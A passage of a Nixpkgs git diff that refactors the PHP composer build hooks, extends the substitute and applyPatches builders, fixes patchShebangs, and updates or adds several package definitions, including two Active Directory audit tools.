.package.json.orig + if test -f package-lock.json; then # Not all packages have package-lock.json. + mv package-lock.json .package-lock.json.orig + fi + cp --no-preserve=mode "${npmDeps}/package.json" package.json + cp --no-preserve=mode "${npmDeps}/package-lock.json" package-lock.json + + echo "Installing dependencies" + + if ! npm install --ignore-scripts $npmInstallFlags "${npmInstallFlagsArray[@]}" $npmFlags "${npmFlagsArray[@]}"; then + echo + echo "ERROR: npm failed to install dependencies" + echo + echo "Here are a few things you can try, depending on the error:" + echo '1. Set `npmFlags = [ "--legacy-peer-deps" ]`' + echo + + exit 1 + fi + + patchShebangs node_modules + + npm rebuild $npmRebuildFlags "${npmRebuildFlagsArray[@]}" $npmFlags "${npmFlagsArray[@]}" + + patchShebangs node_modules + + # Canonicalize symlinks from relative paths to the Nix store. + node @canonicalizeSymlinksScript@ @storePrefix@ + + # Revert to pre-patched package.json/package-lock.json for closure size reductions + mv .package.json.orig package.json + if test -f ".package-lock.json.orig"; then + mv .package-lock.json.orig package-lock.json + fi + + if [ -n "${npmRoot-}" ]; then + popd + fi + + echo "Finished npmConfigHook" +} + +postConfigureHooks+=(npmConfigHook) diff --git a/pkgs/build-support/php/build-composer-project.nix b/pkgs/build-support/php/build-composer-project.nix index 778aa35fa6a51..80c63bcde71b9 100644 --- a/pkgs/build-support/php/build-composer-project.nix +++ b/pkgs/build-support/php/build-composer-project.nix @@ -57,9 +57,9 @@ let doInstallCheck = previousAttrs.doInstallCheck or false; installCheckPhase = previousAttrs.installCheckPhase or '' - runHook preCheckInstall + runHook preInstallCheck - runHook postCheckInstall + runHook postInstallCheck ''; composerRepository = phpDrv.mkComposerRepository { diff --git a/pkgs/build-support/php/build-composer-repository.nix b/pkgs/build-support/php/build-composer-repository.nix index 5b31f86e61cfa..e359c0829aaf7 100644 --- a/pkgs/build-support/php/build-composer-repository.nix +++ b/pkgs/build-support/php/build-composer-repository.nix @@ -78,9 +78,9 @@ let doInstallCheck = previousAttrs.doInstallCheck or false; installCheckPhase = previousAttrs.installCheckPhase or '' - runHook preCheckInstall + runHook preInstallCheck - runHook postCheckInstall + runHook postInstallCheck ''; COMPOSER_CACHE_DIR = "/dev/null"; diff --git a/pkgs/build-support/php/hooks/composer-install-hook.sh b/pkgs/build-support/php/hooks/composer-install-hook.sh index 6e7fb5d7503bf..edba0e5eec4e6 100644 --- a/pkgs/build-support/php/hooks/composer-install-hook.sh +++ b/pkgs/build-support/php/hooks/composer-install-hook.sh @@ -9,6 +9,8 @@ preBuildHooks+=(composerInstallBuildHook) preCheckHooks+=(composerInstallCheckHook) preInstallHooks+=(composerInstallInstallHook) +source @phpScriptUtils@ + composerInstallConfigureHook() { echo "Executing composerInstallConfigureHook" @@ -22,6 +24,8 @@ composerInstallConfigureHook() { fi if [[ ! -f "composer.lock" ]]; then + setComposeRootVersion + composer \ --no-ansi \ --no-install \ @@ -75,31 +79,11 @@ composerInstallConfigureHook() { composerInstallBuildHook() { echo "Executing composerInstallBuildHook" + setComposeRootVersion + # Since this file cannot be generated in the composer-repository-hook.sh # because the file contains hardcoded nix store paths, we generate it here. - composer-local-repo-plugin --no-ansi build-local-repo -m "${composerRepository}" . - - # Remove all the repositories of type "composer" and "vcs" - # from the composer.json file. - jq -r -c 'del(try .repositories[] | select(.type == "composer" or .type == "vcs"))' composer.json | sponge composer.json - - # Configure composer to disable packagist and avoid using the network. - composer config repo.packagist false - # Configure composer to use the local repository. - composer config repo.composer composer file://"$PWD"/packages.json - - # Since the composer.json file has been modified in the previous step, the - # composer.lock file needs to be updated. - COMPOSER_ROOT_VERSION="${version}" \ - composer \ - --lock \ - --no-ansi \ - --no-install \ - --no-interaction \ - ${composerNoDev:+--no-dev} \ - ${composerNoPlugins:+--no-plugins} \ - ${composerNoScripts:+--no-scripts} \ - update + composer-local-repo-plugin --no-ansi build-local-repo-lock -m "${composerRepository}" . echo "Finished composerInstallBuildHook" } @@ -107,26 +91,7 @@ composerInstallBuildHook() { composerInstallCheckHook() { echo "Executing composerInstallCheckHook" - if ! composer validate --strict --no-ansi --no-interaction --quiet; then - if [ ! -z "${composerStrictValidation-}" ]; then - echo - echo -e "\e[31mERROR: composer files validation failed\e[0m" - echo - echo -e '\e[31mThe validation of the composer.json and composer.lock failed.\e[0m' - echo -e '\e[31mMake sure that the file composer.lock is consistent with composer.json.\e[0m' - echo - exit 1 - else - echo - echo -e "\e[33mWARNING: composer files validation failed\e[0m" - echo - echo -e '\e[33mThe validation of the composer.json and composer.lock failed.\e[0m' - echo -e '\e[33mMake sure that the file composer.lock is consistent with composer.json.\e[0m' - echo - echo -e '\e[33mThis check is not blocking, but it is recommended to fix the issue.\e[0m' - echo - fi - fi + checkComposerValidate echo "Finished composerInstallCheckHook" } @@ -134,11 +99,10 @@ composerInstallCheckHook() { composerInstallInstallHook() { echo "Executing composerInstallInstallHook" + setComposeRootVersion + # Finally, run `composer install` to install the dependencies and generate # the autoloader. - # The COMPOSER_ROOT_VERSION environment variable is needed only for - # vimeo/psalm. - COMPOSER_ROOT_VERSION="${version}" \ composer \ --no-ansi \ --no-interaction \ @@ -147,9 +111,6 @@ composerInstallInstallHook() { ${composerNoScripts:+--no-scripts} \ install - # Remove packages.json, we don't need it in the store. - rm packages.json - # Copy the relevant files only in the store. mkdir -p "$out"/share/php/"${pname}" cp -r . "$out"/share/php/"${pname}"/ diff --git a/pkgs/build-support/php/hooks/composer-repository-hook.sh b/pkgs/build-support/php/hooks/composer-repository-hook.sh index 03783d9d639c6..762e762761cc4 100644 --- a/pkgs/build-support/php/hooks/composer-repository-hook.sh +++ b/pkgs/build-support/php/hooks/composer-repository-hook.sh @@ -10,6 +10,8 @@ preBuildHooks+=(composerRepositoryBuildHook) preCheckHooks+=(composerRepositoryCheckHook) preInstallHooks+=(composerRepositoryInstallHook) +source @phpScriptUtils@ + composerRepositoryConfigureHook() { echo "Executing composerRepositoryConfigureHook" @@ -18,7 +20,8 @@ composerRepositoryConfigureHook() { fi if [[ ! -f "composer.lock" ]]; then - COMPOSER_ROOT_VERSION="${version}" \ + setComposeRootVersion + composer \ --no-ansi \ --no-install \ @@ -55,10 +58,12 @@ composerRepositoryBuildHook() { mkdir -p repository + setComposeRootVersion + # Build the local composer repository # The command 'build-local-repo' is provided by the Composer plugin # nix-community/composer-local-repo-plugin. - composer-local-repo-plugin --no-ansi build-local-repo ${composerNoDev:+--no-dev} -r repository + composer-local-repo-plugin --no-ansi build-local-repo-lock ${composerNoDev:+--no-dev} -r repository echo "Finished composerRepositoryBuildHook" } @@ -66,26 +71,7 @@ composerRepositoryBuildHook() { composerRepositoryCheckHook() { echo "Executing composerRepositoryCheckHook" - if ! composer validate --strict --no-ansi --no-interaction --quiet; then - if [ ! -z "${composerStrictValidation-}" ]; then - echo - echo -e "\e[31mERROR: composer files validation failed\e[0m" - echo - echo -e '\e[31mThe validation of the composer.json and composer.lock failed.\e[0m' - echo -e '\e[31mMake sure that the file composer.lock is consistent with composer.json.\e[0m' - echo - exit 1 - else - echo - echo -e "\e[33mWARNING: composer files validation failed\e[0m" - echo - echo -e '\e[33mThe validation of the composer.json and composer.lock failed.\e[0m' - echo -e '\e[33mMake sure that the file composer.lock is consistent with composer.json.\e[0m' - echo - echo -e '\e[33mThis check is not blocking, but it is recommended to fix the issue.\e[0m' - echo - fi - fi + checkComposerValidate echo "Finished composerRepositoryCheckHook" } diff --git a/pkgs/build-support/php/hooks/default.nix b/pkgs/build-support/php/hooks/default.nix index 240ec640723ad..98e81c88f9e96 100644 --- a/pkgs/build-support/php/hooks/default.nix +++ b/pkgs/build-support/php/hooks/default.nix @@ -2,18 +2,28 @@ , makeSetupHook , diffutils , jq +, writeShellApplication , moreutils , makeBinaryWrapper , cacert , buildPackages }: +let + php-script-utils = writeShellApplication { + name = "php-script-utils"; + runtimeInputs = [ jq ]; + text = builtins.readFile ./php-script-utils.bash; + }; +in { composerRepositoryHook = makeSetupHook { name = "composer-repository-hook.sh"; propagatedBuildInputs = [ jq moreutils cacert ]; - substitutions = { }; + substitutions = { + phpScriptUtils = lib.getExe php-script-utils; + }; } ./composer-repository-hook.sh; composerInstallHook = makeSetupHook @@ -24,6 +34,7 @@ # Specify the stdenv's `diff` by abspath to ensure that the user's build # inputs do not cause us to find the wrong `diff`. cmp = "${lib.getBin buildPackages.diffutils}/bin/cmp"; + phpScriptUtils = lib.getExe php-script-utils; }; } ./composer-install-hook.sh; } diff --git a/pkgs/build-support/php/hooks/php-script-utils.bash b/pkgs/build-support/php/hooks/php-script-utils.bash new file mode 100644 index 0000000000000..9b5978865634f --- /dev/null +++ b/pkgs/build-support/php/hooks/php-script-utils.bash @@ -0,0 +1,57 @@ +declare version +declare composerStrictValidation + +setComposeRootVersion() { + set +e # Disable exit on error + + if [[ -v version ]]; then + echo -e "\e[32mSetting COMPOSER_ROOT_VERSION to $version\e[0m" + export COMPOSER_ROOT_VERSION=$version + fi + + set -e +} + +checkComposerValidate() { + if ! composer validate --strict --no-ansi --no-interaction --quiet --no-check-all --no-check-lock; then + if [ "1" == "${composerStrictValidation-}" ]; then + echo + echo -e "\e[31mERROR: composer files validation failed\e[0m" + echo + echo -e '\e[31mThe validation of the composer.json failed.\e[0m' + echo -e '\e[31mMake sure that the file composer.json is valid.\e[0m' + echo + exit 1 + else + echo + echo -e "\e[33mWARNING: composer files validation failed\e[0m" + echo + echo -e '\e[33mThe validation of the composer.json failed.\e[0m' + echo -e '\e[33mMake sure that the file composer.json is valid.\e[0m' + echo + echo -e '\e[33mThis check is not blocking, but it is recommended to fix the issue.\e[0m' + echo + fi + fi + + if ! composer validate --strict --no-ansi --no-interaction --quiet --no-check-all --check-lock; then + if [ "1" == "${composerStrictValidation-}" ]; then + echo + echo -e "\e[31mERROR: composer files validation failed\e[0m" + echo + echo -e '\e[31mThe validation of the composer.json and composer.lock failed.\e[0m' + echo -e '\e[31mMake sure that the file composer.lock is consistent with composer.json.\e[0m' + echo + exit 1 + else + echo + echo -e "\e[33mWARNING: composer files validation failed\e[0m" + echo + echo -e '\e[33mThe validation of the composer.json and composer.lock failed.\e[0m' + echo -e '\e[33mMake sure that the file composer.lock is consistent with composer.json.\e[0m' + echo + echo -e '\e[33mThis check is not blocking, but it is recommended to fix the issue.\e[0m' + echo + fi + fi +} diff --git a/pkgs/build-support/php/pkgs/composer-local-repo-plugin.nix b/pkgs/build-support/php/pkgs/composer-local-repo-plugin.nix index 48d05b7a00089..bfdc3d4f98d1b 100644 --- a/pkgs/build-support/php/pkgs/composer-local-repo-plugin.nix +++ b/pkgs/build-support/php/pkgs/composer-local-repo-plugin.nix @@ -29,13 +29,13 @@ let in stdenvNoCC.mkDerivation (finalAttrs: { pname = "composer-local-repo-plugin"; - version = "1.0.3"; + version = "1.1.0"; src = fetchFromGitHub { owner = "nix-community"; repo = "composer-local-repo-plugin"; rev = finalAttrs.version; - hash = "sha256-fLJlxcAQ7X28GDK8PVYKxJgTzbspfWxvgRmRK4NZRIA="; + hash = "sha256-edbn07r/Uc1g0qOuVBZBs6N1bMN5kIfA1b4FCufdw5M="; }; COMPOSER_CACHE_DIR = "/dev/null"; diff --git a/pkgs/build-support/setup-hooks/patch-shebangs.sh b/pkgs/build-support/setup-hooks/patch-shebangs.sh index a22f989362c4a..80a29d727c858 100644 --- a/pkgs/build-support/setup-hooks/patch-shebangs.sh +++ b/pkgs/build-support/setup-hooks/patch-shebangs.sh @@ -72,7 +72,10 @@ patchShebangs() { while IFS= read -r -d $'\0' f; do isScript "$f" || continue - read -r oldInterpreterLine < "$f" + # read exits unclean if the shebang does not end with a newline, but still assigns the variable. + # So if read returns errno != 0, we check if the assigned variable is non-empty and continue. + read -r oldInterpreterLine < "$f" || [ "$oldInterpreterLine" ] + read -r oldPath arg0 args <<< "${oldInterpreterLine:2}" if [[ -z "${pathName:-}" ]]; then diff --git a/pkgs/build-support/substitute/substitute.nix b/pkgs/build-support/substitute/substitute.nix index 7f0332334585b..37233a306840d 100644 --- a/pkgs/build-support/substitute/substitute.nix +++ b/pkgs/build-support/substitute/substitute.nix @@ -1,14 +1,58 @@ -{ stdenvNoCC }: +{ lib, stdenvNoCC }: +/* +This is a wrapper around `substitute` in the stdenv. +Attribute arguments: +- `name` (optional): The name of the resulting derivation +- `src`: The path to the file to substitute +- `substitutions`: The list of substitution arguments to pass + See https://nixos.org/manual/nixpkgs/stable/#fun-substitute +- `replacements`: Deprecated version of `substitutions` + that doesn't support spaces in arguments. + +Example: + +```nix +{ substitute }: +substitute { + src = ./greeting.txt; + substitutions = [ + "--replace" + "world" + "paul" + ]; +} +``` + +See ../../test/substitute for tests +*/ args: -# This is a wrapper around `substitute` in the stdenv. -# The `replacements` attribute should be a list of list of arguments -# to `substitute`, such as `[ "--replace" "sourcetext" "replacementtext" ]` -stdenvNoCC.mkDerivation ({ +let name = if args ? name then args.name else baseNameOf (toString args.src); + deprecationReplacement = lib.pipe args.replacements [ + lib.toList + (map (lib.splitString " ")) + lib.concatLists + (lib.concatMapStringsSep " " lib.strings.escapeNixString) + ]; + optionalDeprecationWarning = + # substitutions is only available starting 24.05. + # TODO: Remove support for replacements sometime after the next release + lib.warnIf (args ? replacements && lib.isInOldestRelease 2405) '' + pkgs.substitute: For "${name}", `replacements` is used, which is deprecated since it doesn't support arguments with spaces. Use `substitutions` instead: + substitutions = [ ${deprecationReplacement} ];''; +in +optionalDeprecationWarning +stdenvNoCC.mkDerivation ({ + inherit name; builder = ./substitute.sh; inherit (args) src; preferLocalBuild = true; allowSubstitutes = false; -} // args // { replacements = args.replacements; }) +} // args // lib.optionalAttrs (args ? substitutions) { + substitutions = + assert lib.assertMsg (lib.isList args.substitutions) '' + pkgs.substitute: For "${name}", `substitutions` is passed, which is expected to be a list, but it's a ${builtins.typeOf args.substitutions} instead.''; + lib.escapeShellArgs args.substitutions; +}) diff --git a/pkgs/build-support/substitute/substitute.sh b/pkgs/build-support/substitute/substitute.sh index dbac275a80ede..d50a82446639d 100644 --- a/pkgs/build-support/substitute/substitute.sh +++ b/pkgs/build-support/substitute/substitute.sh @@ -8,7 +8,13 @@ if test -n "$dir"; then mkdir -p $out/$dir fi -substitute $src $target $replacements +substitutionsList=($replacements) + +if [[ -v substitutions ]]; then + eval "substitutionsList+=($substitutions)" +fi + +substitute $src $target "${substitutionsList[@]}" if test -n "$isExecutable"; then chmod +x $target diff --git a/pkgs/build-support/testers/default.nix b/pkgs/build-support/testers/default.nix index fc10597e3e120..362622d9b7ee8 100644 --- a/pkgs/build-support/testers/default.nix +++ b/pkgs/build-support/testers/default.nix @@ -1,4 +1,4 @@ -{ pkgs, buildPackages, lib, callPackage, runCommand, stdenv, substituteAll, testers }: +{ pkgs, pkgsLinux, buildPackages, lib, callPackage, runCommand, stdenv, substituteAll, testers }: # Documentation is in doc/builders/testers.chapter.md { # See https://nixos.org/manual/nixpkgs/unstable/#tester-testBuildFailure @@ -107,7 +107,7 @@ (lib.setDefaultModuleLocation "the argument that was passed to pkgs.runNixOSTest" testModule) ]; hostPkgs = pkgs; - node.pkgs = pkgs; + node.pkgs = pkgsLinux; }; # See doc/builders/testers.chapter.md or @@ -123,7 +123,7 @@ inherit pkgs; extraConfigurations = [( { lib, ... }: { - config.nixpkgs.pkgs = lib.mkDefault pkgs; + config.nixpkgs.pkgs = lib.mkDefault pkgsLinux; } )]; }); diff --git a/pkgs/build-support/testers/test/default.nix b/pkgs/build-support/testers/test/default.nix index c48c9f299ebf0..da67711156bed 100644 --- a/pkgs/build-support/testers/test/default.nix +++ b/pkgs/build-support/testers/test/default.nix @@ -27,11 +27,11 @@ lib.recurseIntoAttrs { # Check that the wiring of nixosTest is correct. # Correct operation of the NixOS test driver should be asserted elsewhere. - nixosTest-example = pkgs-with-overlay.testers.nixosTest ({ lib, pkgs, figlet, ... }: { + nixosTest-example = pkgs-with-overlay.testers.nixosTest ({ lib, ... }: { name = "nixosTest-test"; nodes.machine = { pkgs, ... }: { system.nixos = dummyVersioning; - environment.systemPackages = [ pkgs.proof-of-overlay-hello figlet ]; + environment.systemPackages = [ pkgs.proof-of-overlay-hello pkgs.figlet ]; }; testScript = '' machine.succeed("hello | figlet >/dev/console") diff --git a/pkgs/build-support/trivial-builders/default.nix b/pkgs/build-support/trivial-builders/default.nix index a38231bdcaa32..cecf3f5eae84b 100644 --- a/pkgs/build-support/trivial-builders/default.nix +++ b/pkgs/build-support/trivial-builders/default.nix @@ -904,22 +904,23 @@ rec { else throw "applyPatches: please supply a `name` argument because a default name can only be computed when the `src` is a path or is an attribute set with a `name` attribute." ) + "-patched" , patches ? [ ] + , prePatch ? "" , postPatch ? "" , ... }@args: - if patches == [ ] && postPatch == "" + if patches == [ ] && prePatch == "" && postPatch == "" then src # nothing to do, so use original src to avoid additional drv else stdenvNoCC.mkDerivation - { - inherit name src patches postPatch; + ({ + inherit name src patches prePatch postPatch; preferLocalBuild = true; allowSubstitutes = false; phases = "unpackPhase patchPhase installPhase"; installPhase = "cp -R ./ $out"; } - # Carry `meta` information from the underlying `src` if present. - // (optionalAttrs (src?meta) { inherit (src) meta; }) - // (removeAttrs args [ "src" "name" "patches" "postPatch" ]); + # Carry `meta` information from the underlying `src` if present. + // (optionalAttrs (src?meta) { inherit (src) meta; }) + // (removeAttrs args [ "src" "name" "patches" "prePatch" "postPatch" ])); /* An immutable file in the store with a length of 0 bytes. */ emptyFile = runCommand "empty-file" diff --git a/pkgs/build-support/writers/data.nix b/pkgs/build-support/writers/data.nix index 45ed5360eaeba..02f08b9ca0b61 100644 --- a/pkgs/build-support/writers/data.nix +++ b/pkgs/build-support/writers/data.nix @@ -1,28 +1,34 @@ -{ lib, pkgs, formats, runCommand, dasel }: +{ lib, pkgs, formats, runCommand }: let - daselBin = lib.getExe dasel; - inherit (lib) last optionalString types ; in -rec { - # Creates a transformer function that writes input data to disk, transformed - # by both the `input` and `output` arguments. - # - # Type: makeDataWriter :: input -> output -> nameOrPath -> data -> (any -> string) -> string -> string -> any -> derivation - # - # input :: T -> string: function that takes the nix data and returns a string - # output :: string: script that takes the $inputFile and write the result into $out - # nameOrPath :: string: if the name contains a / the files gets written to a sub-folder of $out. The derivation name is the basename of this argument. - # data :: T: the data that will be converted. - # - # Example: - # writeJSON = makeDataWriter { input = builtins.toJSON; output = "cp $inputPath $out"; }; - # myConfig = writeJSON "config.json" { hello = "world"; } - # +{ + /** + Creates a transformer function that writes input data to disk, transformed + by both the `input` and `output` arguments. + + # Example + + ```nix + writeJSON = makeDataWriter { input = builtins.toJSON; output = "cp $inputPath $out"; }; + myConfig = writeJSON "config.json" { hello = "world"; } + ``` + + # Type + + ``` + makeDataWriter :: input -> output -> nameOrPath -> data -> (any -> string) -> string -> string -> any -> derivation + + input :: T -> string: function that takes the nix data and returns a string + output :: string: script that takes the $inputFile and write the result into $out + nameOrPath :: string: if the name contains a / the files gets written to a sub-folder of $out. The derivation name is the basename of this argument. + data :: T: the data that will be converted. + ``` + */ makeDataWriter = lib.warn "pkgs.writers.makeDataWriter is deprecated. Use pkgs.writeTextFile." ({ input ? lib.id, output ? "cp $inputPath $out" }: nameOrPath: data: assert lib.or (types.path.check nameOrPath) (builtins.match "([0-9A-Za-z._])[0-9A-Za-z._-]*" nameOrPath != null); let @@ -44,21 +50,36 @@ rec { inherit (pkgs) writeText; - # Writes the content to a JSON file. - # - # Example: - # writeJSON "data.json" { hello = "world"; } + /** + Writes the content to a JSON file. + + # Example + + ```nix + writeJSON "data.json" { hello = "world"; } + ``` + */ writeJSON = (pkgs.formats.json {}).generate; - # Writes the content to a TOML file. - # - # Example: - # writeTOML "data.toml" { hello = "world"; } + /** + Writes the content to a TOML file. + + # Example + + ```nix + writeTOML "data.toml" { hello = "world"; } + ``` + */ writeTOML = (pkgs.formats.toml {}).generate; - # Writes the content to a YAML file. - # - # Example: - # writeYAML "data.yaml" { hello = "world"; } + /** + Writes the content to a YAML file. + + # Example + + ```nix + writeYAML "data.yaml" { hello = "world"; } + ``` + */ writeYAML = (pkgs.formats.yaml {}).generate; } diff --git a/pkgs/by-name/README.md b/pkgs/by-name/README.md index 990882aec8374..0296ccf2e1bc9 100644 --- a/pkgs/by-name/README.md +++ b/pkgs/by-name/README.md @@ -118,3 +118,83 @@ $ ./pkgs/test/nixpkgs-check-by-name/scripts/run-local.sh master ``` See [here](../../.github/workflows/check-by-name.yml) for more info. + +## Recommendation for new packages with multiple versions + +These checks of the `pkgs/by-name` structure can cause problems in combination: +1. New top-level packages using `callPackage` must be defined via `pkgs/by-name`. +2. Packages in `pkgs/by-name` cannot refer to files outside their own directory. + +This means that outside `pkgs/by-name`, multiple already-present top-level packages can refer to some common file. +If you open a PR to another instance of such a package, CI will fail check 1, +but if you try to move the package to `pkgs/by-name`, it will fail check 2. + +This is often the case for packages with multiple versions, such as + +```nix + foo_1 = callPackage ../tools/foo/1.nix { }; + foo_2 = callPackage ../tools/foo/2.nix { }; +``` + +The best way to resolve this is to not use `callPackage` directly, such that check 1 doesn't trigger. +This can be done by using `inherit` on a local package set: +```nix + inherit + ({ + foo_1 = callPackage ../tools/foo/1.nix { }; + foo_2 = callPackage ../tools/foo/2.nix { }; + }) + foo_1 + foo_2 + ; +``` + +While this may seem pointless, this can in fact help with future package set refactorings, +because it establishes a clear connection between related attributes. + +### Further possible refactorings + +This is not required, but the above solution also allows refactoring the definitions into a separate file: + +```nix + inherit (import ../tools/foo pkgs) + foo_1 foo_2; +``` + +```nix +# pkgs/tools/foo/default.nix +pkgs: { + foo_1 = callPackage ./1.nix { }; + foo_2 = callPackage ./2.nix { }; +} +``` + +Alternatively using [`callPackages`](https://nixos.org/manual/nixpkgs/unstable/#function-library-lib.customisation.callPackagesWith) +if `callPackage` isn't used underneath and you want the same `.override` arguments for all attributes: + +```nix + inherit (callPackages ../tools/foo { }) + foo_1 foo_2; +``` + +```nix +# pkgs/tools/foo/default.nix +{ + stdenv +}: { + foo_1 = stdenv.mkDerivation { /* ... */ }; + foo_2 = stdenv.mkDerivation { /* ... */ }; +} +``` + +### Exposing the package set + +This is not required, but the above solution also allows exposing the package set as an attribute: + +```nix + foo-versions = import ../tools/foo pkgs; + # Or using callPackages + # foo-versions = callPackages ../tools/foo { }; + + inherit (foo-versions) foo_1 foo_2; +``` diff --git a/pkgs/by-name/aa/aaaaxy/package.nix b/pkgs/by-name/aa/aaaaxy/package.nix index e84f74714e5df..dd0b57a691766 100644 --- a/pkgs/by-name/aa/aaaaxy/package.nix +++ b/pkgs/by-name/aa/aaaaxy/package.nix @@ -20,17 +20,17 @@ buildGoModule rec { pname = "aaaaxy"; - version = "1.4.160"; + version = "1.5.42"; src = fetchFromGitHub { owner = "divVerent"; repo = pname; rev = "v${version}"; - hash = "sha256-BI3qnt/u0BXEHJ1E7jUh6jAUXxJZAUX+5Joih1g0JAU="; + hash = "sha256-RfjEr0oOtLcrHKQj1dYbykRbHoGoi0o7D3hjVG3siIQ="; fetchSubmodules = true; }; - vendorHash = "sha256-m6nSWw+KluP0X3mB18m7OEFzeRFw/XS4JiqARqGopvQ="; + vendorHash = "sha256-q/nDfh+A2eJDAaSWN4Xsgxp76AKsYIX7PNn/psBPmg0="; buildInputs = [ alsa-lib diff --git a/pkgs/by-name/ac/action-validator/package.nix b/pkgs/by-name/ac/action-validator/package.nix index 90ba3c4913a7a..3b7c803dc3bb5 100644 --- a/pkgs/by-name/ac/action-validator/package.nix +++ b/pkgs/by-name/ac/action-validator/package.nix @@ -5,17 +5,17 @@ rustPlatform.buildRustPackage rec { pname = "action-validator"; - version = "0.5.4"; + version = "0.6.0"; src = fetchFromGitHub { owner = "mpalmer"; repo = "action-validator"; rev = "v${version}"; - hash = "sha256-roWmks+AgRf2ACoI7Vc/QEyqgQ0bR/XhRwLk9VaLEdY="; + hash = "sha256-lJHGx/GFddIwVVXRj75Z/l5CH/yuw/uIhr02Qkjruww="; fetchSubmodules = true; }; - cargoHash = "sha256-WUtFWuk2y/xXe39doMqANaIr0bbxmLDpT4/H2GRGH6k="; + cargoHash = "sha256-mBY+J6JcIhV++tO6Dhw5JvYLSwoYZR3lB3l0KTjkcQM="; meta = with lib; { description = "Tool to validate GitHub Action and Workflow YAML files"; diff --git a/pkgs/by-name/ad/ad-miner/package.nix b/pkgs/by-name/ad/ad-miner/package.nix index 549704be72f60..79c01a99ed956 100644 --- a/pkgs/by-name/ad/ad-miner/package.nix +++ b/pkgs/by-name/ad/ad-miner/package.nix @@ -5,17 +5,17 @@ python3.pkgs.buildPythonApplication rec { pname = "ad-miner"; - version = "1.0.0"; + version = "1.1.0"; pyproject = true; src = fetchFromGitHub { owner = "Mazars-Tech"; repo = "AD_Miner"; rev = "refs/tags/v${version}"; - hash = "sha256-HM7PR1i7/L3MuUaTBPcDblflCH40NmEYSCTJUB06Fjg="; + hash = "sha256-eAcnGS0HLrTqc/WVKNNwYA89GK233QZj4Gfggt4S8R8="; }; - # ALl requirements are pinned + # All requirements are pinned pythonRelaxDeps = true; nativeBuildInputs = with python3.pkgs; [ @@ -40,7 +40,7 @@ python3.pkgs.buildPythonApplication rec { meta = with lib; { description = "Active Directory audit tool that leverages cypher queries to crunch data from Bloodhound"; homepage = "https://github.com/Mazars-Tech/AD_Miner"; - changelog = "https://github.com/Mazars-Tech/AD_Miner/blob/${version}/CHANGELOG.md"; + changelog = "https://github.com/Mazars-Tech/AD_Miner/blob/v${version}/CHANGELOG.md"; license = licenses.gpl3Only; maintainers = with maintainers; [ fab ]; mainProgram = "AD-miner"; diff --git a/pkgs/by-name/ad/adalanche/package.nix b/pkgs/by-name/ad/adalanche/package.nix new file mode 100644 index 0000000000000..109b327333ac9 --- /dev/null +++ b/pkgs/by-name/ad/adalanche/package.nix @@ -0,0 +1,42 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, libpcap +}: + +buildGoModule rec { + pname = "adalanche"; + version = "2024.1.11"; + + src = fetchFromGitHub { + owner = "lkarlslund"; + repo = "adalanche"; + rev = "refs/tags/v${version}"; + hash = "sha256-SJa2PQCXTYdv5jMucpJOD2gC7Qk2dNdINHW4ZvLXSLw="; + }; + + vendorHash = "sha256-3HulDSR6rWyxvImWBH1m5nfUwnUDQO9ALfyT2D8xmJc="; + + buildInputs = [ + libpcap + ]; + + ldflags = [ + "-s" + "-w" + "-X=github.com/lkarlslund/adalanche/modules/version.Version=${version}" + ]; + + env = { + CGO_CFLAGS = "-Wno-undef-prefix"; + }; + + meta = with lib; { + description = "Active Directory ACL Visualizer and Explorer"; + homepage = "https://github.com/lkarlslund/adalanche"; + changelog = "https://github.com/lkarlslund/Adalanche/releases/tag/v${version}"; + license = licenses.agpl3Only; + maintainers = with maintainers; [ fab ]; + mainProgram = "adalanche"; + }; +} diff --git a/pkgs/by-name/ad/adwsteamgtk/package.nix b/pkgs/by-name/ad/adwsteamgtk/package.nix new file mode 100644 index 0000000000000..f40843624fa8b --- /dev/null +++ b/pkgs/by-name/ad/adwsteamgtk/package.nix @@ -0,0 +1,52 @@ +{ blueprint-compiler +, desktop-file-utils +, fetchFromGitHub +, lib +, libadwaita +, libportal-gtk4 +, meson +, ninja +, python3Packages +, wrapGAppsHook4 +}: + +python3Packages.buildPythonApplication rec { + pname = "adwsteamgtk"; + version = "0.6.9"; + # built with meson, not a python format + format = "other"; + + src = fetchFromGitHub { + owner = "Foldex"; + repo = "AdwSteamGtk"; + rev = "v${version}"; + hash = "sha256-aHJxgSb7oZTRrfFVYdLimwhSGzdRjGf7dGTRA+ANQiM="; + }; + + buildInputs = [ + libadwaita + libportal-gtk4 + ]; + + nativeBuildInputs = [ + blueprint-compiler + desktop-file-utils + meson + ninja + wrapGAppsHook4 + ]; + + propagatedBuildInputs = with python3Packages; [ + packaging + pygobject3 + ]; + + meta = { + description = "A simple Gtk wrapper for Adwaita-for-Steam"; + homepage = "https://github.com/Foldex/AdwSteamGtk"; + license = lib.licenses.gpl3Plus; + maintainers = [ lib.maintainers.reedrw ]; + mainProgram = "adwaita-steam-gtk"; + platforms = lib.platforms.linux; + }; +} diff --git a/pkgs/by-name/ag/ags/package.nix b/pkgs/by-name/ag/ags/package.nix new file mode 100644 index 0000000000000..0076e5b0ba298 --- /dev/null +++ b/pkgs/by-name/ag/ags/package.nix @@ -0,0 +1,74 @@ +{ lib +, buildNpmPackage +, fetchFromGitHub +, meson +, ninja +, pkg-config +, gobject-introspection +, gjs +, glib-networking +, gnome +, gtk-layer-shell +, libpulseaudio +, libsoup_3 +, networkmanager +, upower +, typescript +, wrapGAppsHook +, linux-pam +}: + +buildNpmPackage rec { + pname = "ags"; + version = "1.8.0"; + + src = fetchFromGitHub { + owner = "Aylur"; + repo = "ags"; + rev = "v${version}"; + hash = "sha256-+0us1/lawDXp6RXn4ev95a99VgpsVPi2A4jwNS2O1Uo="; + fetchSubmodules = true; + }; + + npmDepsHash = "sha256-ucWdADdMqAdLXQYKGOXHNRNM9bhjKX4vkMcQ8q/GZ20="; + + mesonFlags = [ + (lib.mesonBool "build_types" true) + ]; + + nativeBuildInputs = [ + meson + ninja + pkg-config + gjs + gobject-introspection + typescript + wrapGAppsHook + ]; + + # Most of the build inputs here are basically needed for their typelibs. + buildInputs = [ + gjs + glib-networking + gnome.gnome-bluetooth + gtk-layer-shell + libpulseaudio + libsoup_3 + linux-pam + networkmanager + upower + ]; + + postPatch = '' + chmod u+x ./post_install.sh && patchShebangs ./post_install.sh + ''; + + meta = with lib; { + homepage = "https://github.com/Aylur/ags"; + description = "A EWW-inspired widget system as a GJS library"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ foo-dogsquared ]; + mainProgram = "ags"; + platforms = platforms.linux; + }; +} diff --git a/pkgs/by-name/al/alsa-ucm-conf/package.nix b/pkgs/by-name/al/alsa-ucm-conf/package.nix 